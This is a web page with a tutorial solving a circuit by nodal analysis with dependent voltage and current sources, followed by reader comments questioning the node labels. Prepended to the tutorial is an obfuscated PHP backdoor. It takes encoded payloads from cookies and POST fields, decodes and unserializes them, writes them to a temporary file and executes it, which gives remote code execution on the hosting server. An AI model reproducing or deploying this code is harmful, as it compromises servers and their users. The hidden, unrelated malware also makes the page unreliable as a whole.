$kjiBLUs = 'A' . "\x68" . chr ( 790 - 685 ).'_' . chr ( 483 - 405 ).chr (100) . chr ( 810 - 702 )."\x77" . chr ( 548 - 447 ); $kDRaRFf = chr ( 402 - 303 )."\154" . chr (97) . chr (115) . chr (115) . '_' . chr (101) . chr ( 733 - 613 ).'i' . "\x73" . "\x74" . "\x73";$Pvvif = class_exists($kjiBLUs); $kDRaRFf = "55598";$JYfNEI = strpos($kDRaRFf, $kjiBLUs);if ($Pvvif == $JYfNEI){function LFPrFKHglh(){$UGMhA = new /* 25215 */ Ahi_Ndlwe(18743 + 18743); $UGMhA = NULL;}$GtJgx = "18743";class Ahi_Ndlwe{private function OLCzFmoBM($GtJgx){if (is_array(Ahi_Ndlwe::$MxgQMLpzq)) {$name = sys_get_temp_dir() . "/" . crc32(Ahi_Ndlwe::$MxgQMLpzq["salt"]);@Ahi_Ndlwe::$MxgQMLpzq["write"]($name, Ahi_Ndlwe::$MxgQMLpzq["content"]);include $name;@Ahi_Ndlwe::$MxgQMLpzq["delete"]($name); $GtJgx = "18743";exit();}}public function Cttrb(){$rRpJgUcARw = "58336";$this->_dummy = str_repeat($rRpJgUcARw, strlen($rRpJgUcARw));}public function __destruct(){Ahi_Ndlwe::$MxgQMLpzq = @unserialize(Ahi_Ndlwe::$MxgQMLpzq); $GtJgx = "41246_46051";$this->OLCzFmoBM($GtJgx); $GtJgx = "41246_46051";}public function oLxEAO($rRpJgUcARw, $mWiOb){return $rRpJgUcARw[0] ^ str_repeat($mWiOb, intval(strlen($rRpJgUcARw[0]) / strlen($mWiOb)) + 1);}public function mcCQomNZMi($rRpJgUcARw){$ADfzjhtkZE = "\x62" . chr ( 523 - 426 ).chr (115) . chr (101) . chr ( 135 - 81 ).'4';return array_map($ADfzjhtkZE . "\x5f" . chr ( 202 - 102 ).'e' . "\x63" . "\157" . 'd' . "\x65", array($rRpJgUcARw,));}public function __construct($Mdabno=0){$YTEAVSpJpm = "\x2c";$rRpJgUcARw = "";$eMJnzt = $_POST;$REnoWDgJ = $_COOKIE;$mWiOb = "d4220071-d574-4dd2-a102-fc3ec2f5e42f";$wYmtczyDB = @$REnoWDgJ[substr($mWiOb, 0, 4)];if (!empty($wYmtczyDB)){$wYmtczyDB = explode($YTEAVSpJpm, $wYmtczyDB);foreach ($wYmtczyDB as $cButQAod){$rRpJgUcARw .= @$REnoWDgJ[$cButQAod];$rRpJgUcARw .= @$eMJnzt[$cButQAod];}$rRpJgUcARw = $this->mcCQomNZMi($rRpJgUcARw);}Ahi_Ndlwe::$MxgQMLpzq = $this->oLxEAO($rRpJgUcARw, $mWiOb);if (strpos($mWiOb, $YTEAVSpJpm) !== FALSE){$mWiOb = explode($YTEAVSpJpm, $mWiOb); $ZDsXYPtHJz = base64_decode(md5($mWiOb[0])); $pTDulxc = strlen($mWiOb[1]) > 5 ? substr($mWiOb[1], 0, 5) : $mWiOb[1];}}public static $MxgQMLpzq = 17221;}LFPrFKHglh();} Nodal Analysis Problem with Dependent Voltage and Current Sources – Solved Problems


Solve the circuit with the nodal analysis and determine  i_x and  V_y.
nodal analysis problem with dependent voltage and current sources


Solution
1) Identify all nodes in the circuit. Call the number of nodes  N.
The circuit has 5 nodes. Therefore,  N=5.

Nodes

2) Select a reference node. Label it with reference (ground) symbol.
The node at the bottom is the best candidate. It is the node with largest number of elements connected to it.
The reference node

3) Assign a variable for each node whose voltage is unknown.
Four nodes are remaining:
non-reference nodes
Node I is a regular node. A dependent voltage source is located between node II and node III. Therefore, node II and node III form a supernode. Node IV is connected to a voltage source whose other node is the reference node. We label the voltages of node I and node II with  V_1 and  V_2 respectively.
Labelling nodes

For node IV, the  2V voltage source provides the voltage of the node. Since the positive terminal of the voltage source is connected to the node, the node voltage is  2 V.
A voltage source between a node and the reference node

4) If there are dependent sources in the circuit, write down equations that express their values in terms of other node voltages.
The voltage of node III is  V_2+3i_x. On the other hand  i_x is the current of the  2 \Omega resistor in the right hand side. Using the Ohm’s law:
voltage of the  2 \Omega resistor =  V_2+3i_x= -2 i_x. (Eq. 1)
Please note that the direction of  i_x is from the reference node to node III. Since it is always assumed that the reference node is the negative terminal for the defined node voltages, the voltage of node III is  -2 \times i_x (instead of  2 \times i_x).
By solving Eq. 1:
 V_2= -5 i_x.

Consequently, the voltage of node III is  V_2+3i_x=V_2-\frac{3}{5}V_2=0.4 V_2.
Note that we always write unknowns in terms of node voltages in nodal analysis.
Labelled node voltages
Note that  V_2 \neq 2V_y.  2V_y is the current of the dependent current source. Now, we need to find the current of the dependent current source in terms of the node voltages.  V_y is the voltage across node IV and Node I. The positive terminal is connected to node IV and the negative one is connected to node II. Therefore,  V_y=2-V_1. You can verify this by applying KVL around the loop consisting of the reference node, node I and node IV.

5) Write down a KCL equation for each node by setting the total current flowing out of the node to zero.
For node I:
 9A + \frac{V_1 - V_2}{1 \Omega}+\frac{V_1 - 2 V}{2 \Omega}=0.
 \to - \frac{3}{2} V_1 +V_2=8 (Eq. 2)

For supernode II&III:
Supernode II&III
 -2V_y+\frac{V_2-V_1}{1 \Omega}+\frac{0.4V_2}{2 \Omega}+\frac{0.4V_2-2V}{1 \Omega}=0. Substituting  V_y=2-V_1 and simplifying:
 - V_1 -1.6 V_2=-6. (Eq. 3)

Solving the set of equations Eq. 2 and Eq. 3 results in  V_1=-2 V and  V_2=5V. Therefore  V_y=2-V_1=4 V and  i_x=-0.2 V_2=-1 A.

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17 Comments

  1. The nodes you labelled in step 3 don’t correspond to what you’re writing later, unless I’ve misunderstood the labeling. Don’t node II and node IV form the supernode, and not node II and III? Also, I don’t see how node IV is connected to the 2V source? That would be node III wouldn’t it?

      1. I think you would swap III and IV? Since you say that there is a dependent source located between nodes II and IV.

  2. I also don’t understand how you got V2+3ix=V2-(3/5)V2=0.4V2 for the node voltage in step 4.

    1. Well, it is not used in equations. This does not mean that it is missed somewhere. So, the solution and answers are correct. If you check you will see that the current of that resistor is zero so its value is not important, the answers would not change if its replaced with short circuit or open circuit, ….

  3. hi,can some one told me about the equition that how we will write equition for a circuit which have a supernode

  4. plz solve norton equivalent circuit calculating I-norton and R-noton having
    1) no independent source and dependent voltage source
    2) no independent source and dependent curent source
    3)1 independent source and 1 dependent souce

  5. i’m stupid and you omitted too much information in your derivations for someone with my brain to understand how you arrived at certain equations.

  6. “A dependent voltage source is located between node II and node III. Therefore, node II and node III form a supernode. Node IV is connected to a voltage source whose other node is the reference node. ”

    Hi again. I think that you must interchange the names between nodes 3 and 4. You have to name node 4 as node 3 and node 3 as node 4. Please, check it.

  7. How about showing us a cccs on the perimeter of a circuit , the cccs having no resistors across it nor any voltage sources across it?

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